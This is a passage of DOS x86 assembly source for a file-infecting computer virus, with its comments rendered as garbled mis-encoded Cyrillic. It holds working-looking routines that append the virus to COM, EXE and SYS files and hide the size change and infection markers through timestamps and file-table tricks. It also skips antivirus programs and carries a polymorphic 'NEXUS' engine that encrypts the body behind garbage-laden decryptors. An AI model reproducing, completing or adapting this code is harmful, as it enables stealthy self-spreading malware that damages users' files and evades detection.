        xor     al,'='          ;  砭  ६
        jnz     FxedI           ; '='

        mov     ah,60h          ; "TRUENAME" - CANONICALIZE FILENAME OR PATH
        lea     di,stacks       ; DS:SI - ४ MD, ES:DI -  
        int     21h
        lea     di,stacks       ; DI - १
        mvs     ds,cs           ; ⠭ DS  ᥣ 
        xor     al,al           ;    १
        mov     cx,256          ;   ࠩ 256- 
        cld
        repne   scasb
        jnz     FxOUT           ; 室  砥 訡

        dec     di              ; DI 㪠뢠    ४ਨ
        cmp     b [di-1],'\'    ; ஢ઠ  \\
        jnz     $+3
        dec     di
        mov     bx,di           ; 㡫஢ 㪠⥫
        lea     si,files        ; SI 㪠뢠  ᯨ᮪ 䠩  䥪

 FxVI:  cmp     b [si],0        ;   ?
        jz      FxOUT           ;  ⮬ 砥 室
        mov     di,bx           ; ஢  ।
        lodsb                   ; 
        stosb
        or      al,al
        jnz     $-4

        mov     ax,1857h        ; 맮 ७ 㭪樨 
        lea     dx,stacks       ;  ஢ 䠩  DS:DX
        int     21h
        jmp     FxVI            ;  ᫥騩 䠩

 FxOUT: call    LoadRegs        ; ⠭ ॣ஢
        ret


; Open/Close SFT - ணࠬ  / ଠ쭮 SFT

 OpenSFT:
        call    SaveRegs        ; ࠭ ॣ஢
        mov     si,0            ; "Open"
        jmp     Manipulate

 CloseSFT:
        call    SaveRegs        ; ࠭ ॣ஢
        mov     si,1            ; "Close"

 Manipulate:
        mov     bp,bx           ; ࠭ handle
        call    ioctl           ; ஢ઠ,  䠩  chardevice
        jc      SFT_Error

        mov     ax,1220h        ; 祭 JFT  ⮣ 䠩
        int     2fh
        jc      SFT_Error
        xor     bx,bx
        mov     bl,es:[di]      ; BL = System file entry
        cmp     bl,0ffh
        je      SFT_Error
        mov     ax,1216h        ; 祭  SFT  ES:DI
        int     2fh
        jc      SFT_Error

        mov     bx,bp           ; ⠭ handle
        call    Inf_Check       ; ஢ઠ ஢ 䠩
        jnc     SFT_Error       ; 室  砥 ⮣ 䠩

        mov     eax,vsize
        cmp     si,0            ; "Open"?
        jz      open
        neg     eax
 open:  add     es:[di+11h],eax ; ࠭  SFT ࠧ

        mov     dx,es:[di+0fh]  ; 祭  䠩
        call    hidestm         ; ⨥ 譨 100 
        cmp     si,0            ; "Open"?
        jnz     clsft
        ror     dh,1            ; 㢥祭  䠩
        add     dh,100
        rol     dh,1
 clsft: mov     es:[di+0fh],dx  ; ࠭  

 SFT_Error:
        call    LoadRegs        ; ⠭ ॣ஢
        ret


; size stealth
; ES:SI ->  䠩
; ES:DI ->  䠩

 sizst: mov     dx,es:[si]      ; dx =  䠩
        call    hidestm         ; ᪨஢  ஢ઠ 100 譨 
        jnc     oklen           ; 䠩 ஢?
        mov     W es:[si],dx    ; ⠭ ଠ  䠩
        sub     W es:[di],vsize ; ᪨஢ 饭  䠩
        sbb     W es:[di+2],0
 oklen: ret

 hidestm:
        push    dx              ; ࠭   ⥪
        shr     dh,1            ;   䠩
        cmp     dh,100          ; ࠢ   100
        pop     dx              ; ⠭ 
        jb      okinf
        ror     dh,1            ;   䠩
        sub     dh,100          ;  譥
        rol     dh,1            ;
        stc                     ; 䠩 ࠦ!
        ret
 okinf: clc
        ret

 correctdate:
        mov     ax,5700h        ; ⠭  䠩  ᨬ
        call    int21           ;  ⮣, ࠦ  
        call    HideStm         ; ଠ쭠 
        call    Inf_Check       ; ஢ 䠩  ࠦ
        jnc     okdat
        ror     dh,1
        add     dh,100
        rol     dh,1
 okdat: mov     ax,5701h        ; ⠭ ⪮४஢
        call    int21           ;  䠩
        ret


; ஢ઠ  䠩 (AVs)
; ஢ઠ ७ 䠩 (Extens)
;  SAVE_AX=4B00  ࠬ஢  cmdline

 Filename:
        call    SaveRegs        ; ࠭ ॣ஢
        cld

        mov     si,dx           ; ᬥ饭    ॣ
 nfind: lodsb                   ;   䠩
        cmp     al,':'          ;  襬 砥  㤥 ᫥
        jz      separ           ;  ᫥ "/", "\", ":"
        cmp     al,'\'
        jz      separ
        cmp     al,'/'
        jnz     store
 separ: mov     dx,si           ; ࠭ ᬥ饭

 store: or      al,al           ; ஢ઠ  ப (0)
        jnz     nfind

        mov     si,dx           ; SI ->  䠩
        xor     di,di           ; ७   
 gext:  lodsb
        cmp     al,'.'          ; ७?
        jnz     $+4
        mov     di,si
        or      al,al
        jnz     gext
        or      di,di           ; ᫨ 祪   䠩
        jz      Bad_File        ; 㦥  뫮

        lea     bp,[di-1]       ; ᥩ BP-७ 䠩, DX- 
        mvs     es,cs           ; ES=CS

        cmp     cs:save_ax,4b00h
        jne     no_add
        mov     si,dx           ; SI ->  䠩
        lea     di,prms         ; ⠡窠 (ଠ: avname,0,0,cmdline,0dh)

 scancmd:
        call    compare         ; ࠢ  ᪠ ணࠬ
        jz      addprm          ;  ।ᬮ७   ⠡
        mov     al,0dh
        mov     cx,0ffffh
        repne   scasb
        cmp     b cs:[di],0     ;  ⠡?
        jnz     scancmd         ;  ⠡    - 饭
        jmp     no_add          ; 㣠 ணࠬ

 addprm:
        push    es              ; ࠭ ES
        mov     al,0
        mov     cx,0ffffh
        repne   scasb
        lea     si,[di+1]
        les     bx,d cs:save_bx ; 㧪  ES:BX  EPB
        les     bx,es:[bx+2]    ; 㧪   ப  ES:BX
        mov     di,bx
 getdx: inc     di              ; ᪠㥬  ப
        cmp     b es:[di],0dh   ;  ப?
        jnz     getdx
        mov     cx,-1           ; 稪  ⥫쭮 ࠬ
        lods    b cs:[si]       ; 㧪  ࠬ
        stosb                   ; ࠭  ࠬ
        inc     cx              ; 㢥祭 稪
        cmp     al,0dh          ; ஢ઠ  砭 ࠬ
        jnz     $-6
        add     es:[bx],cl      ; 㢥祭   ப
        pop     es              ; ⠭ ES

 no_add:
        mov     si,bp
        lea     di,extens       ; ES:DI 㪠뢠  ⠡ 
        call    compare         ; ࠧ襭묨 ७ﬨ
        jnz     Bad_File        ; ४⭮ ७?

        mov     al,[si+1]       ; 㧪 ࢮ  ७
        call    upreg           ; ॢ  孨 ॣ
        mov     cs:host,al      ; ⠭ 䫠

        mov     si,dx           ; SI ->  䠩
        lea     di,AVs          ; ES:DI -> ⠡  
        call    compare         ; ࠢ 
        jz      Bad_File        ; 襥 

        call    LoadRegs        ; ⠭ ॣ஢
        clc                     ; ⪠ CF
        ret

 Bad_File:
        call    LoadRegs        ; ⠭ ॣ஢
        stc                     ; ⠭ CF
        ret


; ⠭  STF  ᨬ  ⥪饣 PSP/MCB
;  ࠢ 1 ᫨ ⥪騩 MCB ਭ ணࠬ  STLOCK
;  ࠢ 0 ᫨  ⥪饣 MB  ॣ஢  STLOCK

 mcbcheck:
        call    SaveRegs        ; ࠭ ॣ஢

        mov     ah,62h          ;  ᥣ ⥪饣 PSP
        call    int21
        dec     bx              ; 祭 ᥣ MCB
        mov     ds,bx           ; DS:SI 㪠뢠   MB
        mov     si,08h          ;
        lea     di,stlock       ; ES:DI 㪠뢠  
        mvs     es,cs           ; ᯨ᮪  STLOCK
        call    compare         ; ࠢ 
        sete    cs:stf          ; ⠭ ⥫-䫠

        call    LoadRegs        ; ⠭ ॣ஢
        ret                     ; 室  ணࠬ


; COMPARE - ࠢ 
; DS:SI - 筨
; ES:DI - ⠡ (Data1,0,Data2,0,...,DataN,0,0)
; 室: ZF = 1  砥 ᮢ 
;  ⨭᪨ 㪢 祭  

 compare:
        call    SaveRegs        ; ࠭ ॣ஢
        mov     dx,si           ; 㡫஢ ᬥ饭 筨

 data1: mov     si,dx           ; ⠭ ᬥ饭 筨
 data2: mov     al,ds:[si]      ; ⥭  筨
        mov     ah,es:[di]      ; ⥭  ⠡
        inc     di              ; 㢥祭  ॣ஢
        inc     si              ;
        call    upreg           ; ॢ ᨬ  孨 ॣ
        or      ah,ah           ; ᫨  ⠡ ࠧ 0 =>
        jz      equal           ; =>  ᮢ
        cmp     al,ah           ;  ⭮ ࠢ
        jz      data2           ; ᫨  ᮢ, ஢塞 

 data3: cmp     B es:[di],0     ;   ᮢ, ६ ᫥饥
        jz      data4           ; 
        inc     di
        jmp     data3

 data4: inc     di
        cmp     B es:[di],0     ; ஢ઠ  ᫥  
        jnz     data1           ; ⠡

        call    LoadRegs        ; ⠡ 稫: ᮢ  
        cmp     di,-1           ; ⪠ ZF
        ret                     ; 室  ணࠬ

 equal: call    LoadRegs        ; ⠭ ॣ஢
        cmp     al,al           ; ⠭ ZF
        ret                     ; 室  ணࠬ


; Gets a random value [0..AX]

 xrandom:
        push    bx cx dx si di
        mov     si,ax
        mov     ax,cs:random1
        mov     bx,cs:random2
        mov     cx,ax
        mov     di,8405h
        mul     di
        shl     cx,3
        add     ch,cl
        add     dx,cx
        add     dx,bx
        shl     bx,2
        add     dx,bx
        add     dh,bl
        shl     bx,5
        add     dh,bl
        add     ax,1
        adc     dx,0
        mov     cs:random1,ax
        mov     cs:random2,dx
        or      si,si
        jz      rnd_exit

        xor     dx,dx
        div     si
        xchg    ax,dx
 rnd_exit:
        pop     di si dx cx bx
        ret


; ணࠬ  ⠭/  뢠
; ᪨ 訡 int 24h

 Hook24:
        call    SaveRegs        ; ࠭  墠
        xor     ax,ax           ;  뢠 ᪨
        mov     ds,ax           ; 訡 int 24h
        mov     si,24h*4
        mov     dx,cs
        lea     ax,int24
        xchg    ax,[si]
        xchg    dx,[si+2]
        mov     cs:io24,ax
        mov     cs:io24+2,dx
        call    LoadRegs
        ret

 Remove24:
        call    SaveRegs        ; ⠭  int 24h
        xor     ax,ax
        mov     ds,ax
        mov     si,24h*4
        mov     ax,cs:io24
        mov     dx,cs:io24+2
        mov     [si],ax
        mov     [si+2],dx
        call    LoadRegs
        ret


; ணࠬ  ࠡ  䠩

 RestoreFileAttributesA:
        push    ax bx cx dx ds
        mov     ax,7143h
        mov     cx,4301h
        mov     bx,1
        call    LFNAPI_Check
        mov     dx,cs:fn_ptr
        mov     ds,cs:fn_ptr+2
        mov     cx,cs:Attrib
        test    cl,1
        jz      noRFA
        call    int21
 noRFA: pop     ds dx cx bx ax
        ret

 ClearFileAttributesA:
        push    ax bx cx dx
        mov     ax,7143h
        xor     bx,bx
        mov     cx,4300h
        call    LFNAPI_Check
        call    int21
        jc      NoFA
        mov     cs:Attrib,cx
        mov     cs:fn_ptr,dx
        mov     cs:fn_ptr+2,ds
        test    cl,1
        jz      NoFA
        mov     ax,7143h
        mov     bx,1
        mov     cx,4301h
        call    LFNAPI_Check
        mov     cx,20h
        call    int21
        jc      NoFA
 NoFA:  pop     dx cx bx ax
        ret

 CreateFileA:
        push    ax cx dx si
        mov     ax,716ch
        mov     cx,6c00h
        call    LFNAPI_Check
        mov     bx,2
        xor     cx,cx
        mov     si,dx
        mov     dx,1
        call    int21
        xchg    ax,bx
        pop     si dx cx ax
        ret

 LFNAPI_Check:
        push    ax cx bx
        mov     ax,71a1h
        mov     bx,-1
        call    int21
        or      al,al
        jz      noLFNAPI
        pop     bx cx ax
        ret
 noLFNAPI:
        pop     bx ax cx
        ret

 GetDate:                       ; 祭 ६  
        mov     ax,5700h        ; ᫥   䠩
        call    int21
        mov     cs:time,cx
        mov     cs:date,dx
        ret

 RestDate:                      ; ⠭ ६  
        mov     ax,5701h        ; 䠩
        mov     cx,cs:time
        mov     dx,cs:date
        call    int21
        ret

 Write: mov     ah,40h          ;   䠩
        call    int21
        ret

 Read:  mov     ah,3fh          ; ⥭  䠩
        call    int21
        ret

 CloseFile:
        mov     ah,3eh          ; ⨥ 䠩
        call    int21
        ret

 SeekSave:
        call    SaveRegs        ; ࠭ 樨
        xor     cx,cx           ; 㪠⥫ (lseek)  䠩
        xor     dx,dx
        call    seekfrom_cur
        mov     cs:seek_pos,ax
        mov     cs:seek_pos+2,dx
        call    LoadRegs
        ret

 RestoreSeek:
        call    SaveRegs        ; ⠭ ࠭
        mov     dx,cs:seek_pos  ; 樨 㪠⥫  䠩
        mov     cx,cs:seek_pos+2
        call    seekfrom_bof
        call    LoadRegs
        ret

 seek2bof:
        mov     ax,4200h        ; ⠭ 㪠⥫ 
        xor     cx,cx           ; 砫 䠩
        xor     dx,dx
        jmp     realseek

 seek2eof:
        mov     ax,4202h        ; ⠭ 㪠⥫ 
        xor     cx,cx           ;  䠩
        xor     dx,dx
        jmp     realseek

 seekfrom_eof:
        mov     ax,4202h        ; ⠭ 㪠⥫
        jmp     realseek        ;   䠩

 seekfrom_cur:
        mov     ax,4201h        ; ⠭ 㪠⥫
        jmp     realseek        ;  ⥪饩 樨

 seekfrom_bof:
        mov     ax,4200h        ; ⠭ 㪠⥫
                                ;  砫 䠩
 realseek:
        call    int21
        ret


; ࠡ稪 int 24h

 int24: mov     al,3            ; Fail caller
        iret


; ᥢ int 21h

 int21: pushf                   ;   ⥪ 䫠  
        push    cs              ; ᥣ
        call    exithandler     ; ࠢ ୥    ⥪
        ret


; ஢ઠ 䠩 (᪮?)

 ioctl: push    ax dx           ; ࠭ ॣ஢
        mov     ax,4400h        ; IOCTL - GET DEVICE INFORMATION
        call    int21
        jc      chkd            ; DOS  ᮮ饭  訡
        sub     dl,10000000b    ; ஢ઠ   7
        cmc
 chkd:  pop     dx ax
        ret


; ॢ  ⨭᪨ ᨬ  AH  AL  孨 ॣ

 upreg: xchg    al,ah           ; 塞 ⠬ AL  AH
        call    upral           ; ॢ  孨 ॣ 訩 AH
        xchg    al,ah           ; ⠭  AL  AH
        call    upral           ; ॢ  孨 ॣ AL
        ret                     ; 室  ணࠬ

 upral: cmp     al,'a'          ; ஢ઠ  宦 AL
        jb      noupr           ;  ࢠ  61h  74h
        cmp     al,'z'
        ja      noupr
        sub     al,20h          ; ॢ  孨 ॣ
 noupr: ret


; SeekHide
; ᫨  lseek 室  ⥫ , ணࠬ ७ 
;  ࠭   ࠦ ணࠬ, ..   ⮩ ணࠬ
; SEEK_POS ᮤঠ   lseek
; NRBYTES 㬥蠥  ࠧ  権

 seekhide:
        call    SaveRegs        ; ࠭ ॣ஢
        call    SeekSave        ; ࠭塞 ⥪饥  㪠⥫
        mov     cx,-1           ;  㪠⥫  ࠭  
        mov     dx,-vsize       ; ணࠬ
        call    seekfrom_eof    ; DX:AX -  
        sub     ax,cs:seek_pos  ; SEEK_POS -  
        sbb     dx,cs:seek_pos+2
        cmp     dx,-1           ; DX:AX   ⥫
        jnz     not_us
        or      ax,ax
        jns     not_us
        neg     ax              ; 祭 ࠧ 権
        sub     cs:nrbytes,ax   ; 㬥襭 ⢠ ⠭ ⮢
        sub     cs:seek_pos,ax  ; 㬥襭 樨 㪠⥫  䠩
        sbb     cs:seek_pos,0   ; .. ᬥ饭    
 not_us:
        call    RestoreSeek     ; ⠭ 樨 㪠⥫
        call    LoadRegs        ; ⠭ ॣ஢
        ret


;  CRC 

 crc:   push    si cx
        lea     si,shield
        mov     cx,end_crc-shield
        call    crc32
        pop     cx si
        ret

 CRC32: push    ebx ecx edx esi edi ds
        cld
        mov     di,cx
        mov     ecx,-1
        mov     edx,ecx
        mvs     ds,cs

   NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
   NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0edb8h
   NoCRC:
        dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     di
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        pop     ds edi esi edx ecx ebx
        ret


; ஢ handle

 Infect_Handle:
        push    cs cs           ; ds  es 뢠  
        pop     ds es
        call    ioctl           ; ஢ઠ 䠩  䨪⨢ (disk file?)
        jc      close

        call    Inf_Check       ; ஢ઠ 䠩  ୮ ࠦ
        jc      close

        mov     cx,32           ; ⥭  䠩
        lea     dx,original
        call    read
        cmp     cx,ax           ; DOS   襭 
        jne     close           ; ⥭ ?

        lea     si,original     ; ᤥ  ਣ쭮
        lea     di,header       ; 砫 ணࠬ
        mov     cx,32
        cld
        rep     movsb

        lea     di,header
        cmp     host,"S"        ; ஢ઠ  .SYS ⨯
        jz      sysinfect
        mov     ax,[di]         ;   ax  2  
        cmp     ax,'ZM'         ; ஢ઠ  EXE ⨯
        je      exeinfect
        cmp     ax,'MZ'         ; ⠪ EXE譨    
        je      exeinfect       ;   ⠪ 뢠
        jmp     cominfect


; ஢ COM 䠩
; DI - ,  㦭 ஢

 cominfect:
        mov     host,"C"        ; COM file
        cmp     w [di],-1       ;  ।饭   .SYS 䠩
        jz      Close           ;     맮 int 06h
        call    seek2eof        ; 祭 ࠧ 䠩
        or      dx,dx           ; ࠧ 䠩  65535 ?
        jnz     Close
        cmp     ax,65035-vsize  ; ஢ઠ 䠩  ९
        ja      Close           ;   ⠢  ⥪  PSP
        mov     b [di],0e9h     ;  JMP
        mov     delta,ax        ; ⥫쭮 ᬥ饭  
        sub     ax,3            ; ४ ( ࠧ jump')
        mov     w [di+1],ax     ;   室
        jmp     check


; ஢ SYS 䠩
; DI - ,  㦭 ஢

 sysinfect:
        mov     host,"S"        ; SYS file
        cmp     d [di],-1       ; ⢨⥫쭮 ࠩ?
        jnz     Close

        call    seek2eof        ; 祭 ࠧ 䠩
        or      dx,dx           ; ࠧ 䠩  65535 ?
        jnz     Close
        cmp     ax,65035-vsize  ; ஢ઠ 䠩  ९
        ja      Close

        mov     w [di+8],ax     ; ⠭ ᬥ饭 楤 뢠
        add     w [di+8],Interrupt-ksenia
        mov     w [di+6],ax     ; ⠭ ᬥ饭 楤 ⥣
        sub     ax,0100h
        mov     delta,ax        ; ⥫쭮 ᬥ饭  
        jmp     check


; ஢ EXE 䠩
; DI - ,  㦭 ஢

 exeinfect:
        mov     host,"E"        ; EXE file
        cmp     b [di+18h],'@'  ; ஢ઠ 䠩  ਭ
        je      close           ;   ᥬ WinNE 䠩

        mov     ax,W [di+4]     ;  ࠬ PageCnt
        mov     cx,W [di+2]     ;  ࠬ PartPag
        or      cx,cx           ; ᫨  ᫥ ࠭ ࠢ
        jz      $+3             ; ,  ࠬ PageCnt  ᮤন
        dec     ax              ; ⥫쭮 
        mov     dx,512          ; 㬭  512 (祭 )
        mul     dx
        add     ax,cx           ; 祭   EXE 䠩, 
        adc     dx,0            ; 㧨    ᪥  EXE

        push    dx ax           ; ࠭ ६  ⥪
        call    seek2eof        ; 祭 ᪮ ࠧ 䠩
        pop     si cx           ; 㧪 ࠬ஢  ⥪
        cmp     si,ax           ; ࠢ ࠬ஢ (
        jnz     Close           ; 直 overlay )
        cmp     cx,dx
        jnz     Close           ; 祭 訥 䠩   室
        cmp     dx,10           ;     ???  ⠪
        jae     Close           ; 뢠 (砥 divide overflow )

        push    ax dx           ; ࠭ ࠬ஢
        mov     cx,16           ; 祭 室 窨 (CS:IP), 
        div     cx              ; ᯮ   ⮣ EXE 䠩
        sub     ax,[di+8]       ; ⠭ ࠧ EXE 
        mov     delta,dx        ; ⥫쭮 ᬥ饭  
        sub     ax,10h          ;  COM 䠩 (IP /ࠢ 100h)
        add     dx,100h
        mov     W [di+14h],dx   ; ࠭ IP
        mov     W [di+16h],ax   ; ࠭ CS
        mov     W [di+0eh],ax   ; ࠭ SS ( TBSCAN )
        mov     W [di+10h],-2   ; ࠭ SP
        pop     dx ax           ; 㧪 ࠬ஢  ⥪

        add     ax,vsize        ;   ࠧ 䠩
        adc     dx,0            ;  
        mov     cx,512          ; ⠥  PartPag  PageCnt 
        div     cx              ; 䠩   ᮬ
        or      dx,dx
        jz      $+3
        inc     ax
        mov     [di+2],dx       ; ࠭ PartPag
        mov     [di+4],ax       ; ࠭ PageCnt

 Check: call    WriteVirus      ;    䠩

 Close: call    CorrectDate     ; ࠢ  ஢ 䠩
        ret


;  ஢ ⥫   䠩

 WriteVirus:
        call    GetDate         ;  ६/ 䠩

        cmp     cs:save_ax,1857h; ஢ઠ 室 ࢥન
        jz      no_time         ; ६ 䠩

        mov     ah,2ch          ;  ⥪饣 ६
        call    int21           ;  dx:cx
        mov     ax,cs:time      ;  ax ६ 䠩
        shr     ah,3            ; ६  ( 11-15  cx)
        cmp     ah,ch           ; ᮢ? ᫨ ,  뢠,
        je      write_fail      ; ⮡  ᢥ
 no_time:
        call    seek2eof        ; -> 
        call    nexus
        call    write           ; 뢠  䠩
        xor     cx,ax           ;  ᠫ?
        jnz     write_fail

        call    seek2bof        ;   砫
        mov     cx,32           ;  com/exe 䠩
        lea     dx,header
        mov     w header+12h,v_id
        call    write

  write_fail:
        call    RestDate        ; ⠭  䠩
        ret


; ஢ઠ 䠩  ஢

 Inf_Check:
       call    SaveRegs         ; ࠭  ⥪ ॣ

       call    SeekSave         ; ࠭塞  lseek
       call    seek2bof         ; ७ᨬ 㪠⥫  砫

       mov     cx,32            ; ⠥   
       lea     dx,buffer
       push    cs cs
       pop     ds es
       call    read

       call    RestoreSeek      ; ⠭  lseek
       xor     cx,ax            ;  ⠫?
       jnz     not_infected
       cmp     w buffer+12h,v_id
       jnz     not_infected

       call    LoadRegs
       stc
       ret

 not_infected:
       call    LoadRegs
       clc
       ret


; CRLOAD - ணࠬ  祭 ਣ쭮 砫
; ࠦ ணࠬ  ஢   ⮩ ணࠬ
; 室: BX - handle ஢ ணࠬ
; 室: "buffer" ᮤন 32 ਣ 

 crload:
        call    SaveRegs        ; ࠭ ॣ஢
        push    cs cs           ; 樠 ᥣ ॣ஢
        pop     ds es

        xor     cx,cx           ; ࠭ 樨 㪠⥫  䠩
        xor     dx,dx
        call    seekfrom_cur
        push    dx ax

        mov     cx,-1           ;    
        mov     dx,-32          ;
        call    seekfrom_eof    ;

        mov     cx,32           ; ⠥ 
        lea     dx,buffer       ;  
        call    read

        pop     dx cx           ; ⠭  㪠⥫
        call    seekfrom_bof

        call    LoadRegs        ; ⠭ ॣ஢
        ret


; POLYMORPHIC ENGINE [NEXUS]
;  ⢥ 室 ࠬ஢ ⠭ DELTA   ᬥ饭  䠩
;  室 CX,DX ⮢  맮 㭪樨 40h 뢠 int 21h

 crlen  equ     234h            ; ࠧ 䭮 ஢騪
 cripts equ     10              ; ⢮ 権  ஢
 totlen equ     7+3+3+3+4*cripts+3+2  +1+4+7
 totblk equ     7+1+1+1+cripts  +1+1+1  +1+7 -1
 totfre equ     crlen-totlen
 aftpus equ     7*2
 public nexus
 if     totfre lt 0
 %out      -  
 tasm   sucks
 endif

 nexus: call    SaveRegs        ; ࠭ ॣ஢

        cld                     ; clear direction
        push    cs cs           ; 樠 ᥣ
        pop     ds es           ; ॣ஢

        lea     di,buffer+crlen ; ᬥ饭 ᢮ ࠭⢠
        mov     cx,totblk       ; ⢮ ᪮ 
        xor     bx,bx           ; 㬬 砩 ᥫ

        push    cx di           ;  
 prnd:  mov     ax,100h         ; 砩묨 ᫮
        call    xrandom
        stosw
        add     bx,ax
        loop    prnd
        pop     si cx
        xor     bp,bp

 srnd:  mov     ax,[si]         ; ஢ 砩
        mov     di,totfre       ; ᥫ ⠪ ࠧ, ⮡
        mul     di              ;  㬬 뫠 ࠢ 
        div     bx              ; ⢥    
        mov     [si],ax         ; ᪫祭 ⪠  ,
        add     bp,ax           ;     ,
        add     si,2            ; 室騩 ᫥ 楤
        loop    srnd            ; ࠭  ॣ஢

        lea     si,buffer+crlen ;  砩 ᥫ
        mov     ax,totfre       ; ⢮ , 稢
        sub     ax,bp           ;  १ 祭 ⪠
        add     [si+aftpus],ax  ;  

        mov     r_used,0ffh     ;  ॣ 
        lea     si,pushs        ; 冷 ࠭/⠭ ॣ஢
        lea     di,buffer       ; 㪠⥫    ਯ
        mov     r_ptr,o buffer+crlen
        mov     cx,07           ; ᥣ 㦭 ࠭ 7 ॣ஢

 pushr: not     r_used
        mov     w_flag,1        ; ⥪ ࠡ⠥  ᫮묨 ॣࠬ
        call    xreg            ; 祭 砩  ॣ
        not     r_used
        not     ah              ; ஢ AH
        and     r_used,ah       ; ⪠   㦥 ࠭
        or      al,01010000b    ;  PUSH <R16>
        stosb                   ; ࠭ 
        mov     [si],al         ; ࠭ ।
        inc     si              ; ६஢ 㪠⥫
        call    garbage         ;   
        loop    pushr

        mov     w_flag,1        ; 㦥 16- ॣ
        call    xreg            ; 樠 稪
        call    tomask          ; 祭  ॣ
        mov     countr,al
        or      r_used,dl       ; ᥭ   ᯨ᮪ ᯮ짮
        or      al,10111000b    ; ᮧ  MOV REG,Const (16)
        stosb                   ; ࠭ 
        mov     ax,(vsize-crlen-32)/2 ; ᫥ ⢠   ஢
        stosw                   ; ࠭ ⠭
        call    garbage         ;   

 gidx:  mov     w_flag,1        ;  16-⭮ ᭮ ॣ
        call    xreg            ;  砩 ॣ
        mov     ah,111b         ; ஢ઠ   ॣ  祭
        cmp     al,011b         ; ࠬ  樨   ⮣
        je      sidx            ; ॣ
        mov     ah,100b
        cmp     al,110b
        je      sidx
        mov     ah,101b
        cmp     al,111b
        jne     gidx

 sidx:  call    tomask
        or      r_used,dl       ; ࠭  ᭮ ॣ
        mov     indexr,al
        mov     indexm,ah       ; ࠭ ࠬ R/M

        or      al,10111000b    ; 樠 ᭮ 
        stosb                   ; ᮧ  MOV REG,Const (16)
        mov     ax,delta        ; ᫥ ᬥ饭 砫 ஢
        add     ax,crlen+100h   ;   䠩
        stosw
        call    garbage         ;   

        mov     bp,di
        mov     w_flag,1        ;  16-⭮ ॣ-
        call    xreg            ;  砩 ॣ
        call    tomask
        or      r_used,dl       ; ࠭  ᭮ ॣ
        mov     accumr,al
        mov     ax,8b2eh        ; CS: MOV
        stosw
        mov     al,accumr
        shl     al,3
        or      al,indexm
        stosb
        call    garbage         ;   

        mov     cx,cripts       ; ⢮ 権 ਯ⮢
        lea     bx,nbuf+cripts*4
        mov     b [bx],0c3h

 rchos: sub     bx,4
        mov     ax,oplen        ; 롮 砩 ஢騪
        call    xrandom
        mov     si,ax           ; SI=AX*2
        add     si,ax
        mov     ax,w [si+enopI]
        mov     w [bx],ax
        mov     ax,w [si+deopI]
        mov     w [di],ax
        mov     al,accumr
        or      [di+1],al
        xor     ax,ax
        call    xrandom
        mov     [bx+2],ax
        mov     [di+2],ax
        add     di,4
        call    garbage         ;   
        loop    rchos

        mov     ax,892eh        ; CS: MOV
        stosw
        mov     al,accumr
        shl     al,3
        or      al,indexm
        stosb
        call    garbage         ;   

        mov     al,01000000b    ;  㢥祭 ᭮ ॣ
        or      al,indexr
        stosb
        call    garbage         ;   
        stosb
        call    garbage         ;   

        mov     al,01001000b    ; 蠥 稪
        or      al,countr
        stosb
        mov     ax,850fh
        stosw
        mov     ax,bp
        sub     ax,di
        sub     ax,2
        stosw

        mov     r_used,0        ;    ॣ஢   㦥
        mov     cx,07           ; ᥣ 㦭 ⠭ 7 ॣ஢
        lea     si,pushs+07-1   ; 冷 ࠭/⠭ ॣ஢
 movr:  call    garbage         ;   
        mov     al,[si]         ;   
        dec     si              ; ⠭ ॣ஢
        call    tomask
        or      r_used,dl
        or      al,1000b        ;  ⥪  ਯ
        stosb
        and     al,111b
        loop    movr

        mov     cx,shield-ksenia-crlen
        lea     si,ksenia+crlen
        lea     di,buffer+crlen
        rep     movsb
        mov     cx,endi-shield-1
 dupcr: lodsb
        sub     al,[si]
        stosb
        loop    dupcr
        mov     cx,eov-endi+1
        rep     movsb

        mov     cx,(vsize-crlen-32)/2
        lea     di,buffer+crlen
 encp:  mov     ax,[di]
        call    near ptr nbuf
        stosw
        loop    encp

        call    LoadRegs
        mov     cx,vsize
        lea     dx,buffer
        ret

 tomask:
        push    cx
        mov     cl,al
        mov     dx,1
        shl     dl,cl
        pop     cx
        ret


; ணࠬ  樨 ୮  砩 ࠧ
; DS=ES=CS, [DI] -    (DI ६)

 garbage:
        push    ax cx si
        mov     si,r_ptr
        lodsw
        mov     r_ptr,si
        xchg    ax,cx
        jcxz    gret

 ggen:  push    di cx
        lea     di,crbuf
        call    gcmd
        xchg    ax,cx
        pop     cx di
        cmp     cx,ax
        jc      ggen
        lea     si,crbuf

 gdup:  movsb
        dec     cx
        dec     ax
        jnz     gdup
        or      cx,cx
        jnz     ggen

 gret:  pop     si cx ax        ; ⠭ ॣ஢
        ret


; ணࠬ  樨 砩 ୮ 樨
; DS=ES=CS, [DI] -   樨
;  室 CX -  樨  

 gcmd:  push    ax bx dx si di  ; ࠭ ॣ஢

 regen: lea     si,opcode       ; ⠡  
        mov     ax,oclen        ;  砩 ᫠  । 
        call    xrandom         ;   ⢠ ப  ⠡
        add     si,ax           ; 祭 ᬥ饭  ࠭ 祩
        add     si,ax
        add     si,ax
        mov     dl,[si]         ; 㧪 ࠢ饣_
        mov     ax,[si+1]       ; ஢ 蠡 樨
        mov     [di],ax

        bt      dx,5
        jnc     not_a_mem
        mov     ax,[di]
        mov     [di+1],ax
        mov     b [di],2eh
        mov     bx,2
        mov     w_flag,0
        call    xreg
        jc      regen
        shl     al,3
        or      [di+bx],al
 badr:  mov     ax,1000b
        call    xrandom
        cmp     al,110b
        jz      badr
        or      [di+bx],al
        jmp     nINS

 not_a_mem:
        xor     bx,bx
        bt      dx,0            ; ⠭  樨
        setc    bl

        bt      dx,6
        setc    w_flag
        test    dl,00000100b    ; ஢ઠ 室 樨
        jz      nWRD            ;  WRD
        mov     ax,2
        call    xrandom
        mov     w_flag,al
        or      [di],al         ; ⠭   祩 
 nWRD:  test    dl,10000000b
        jz      nADDi
        mov     ax,1000b
        call    xrandom
        shl     al,3
        or      [di+bx],al
 nADDi: test    dl,00000010b    ; ஢ઠ 室 樨
        jz      nREG            ;  REG
        call    xreg            ;  砩 ॣ
        jc      regen
        or      [di+bx],al      ; ⠭   祩 
 nREG:  mov     cl,dl
        shr     cl,3
        and     cl,11b          ; ஢ઠ 室 樨
        jz      nRND            ; 砩 祭 ᫥ 樨
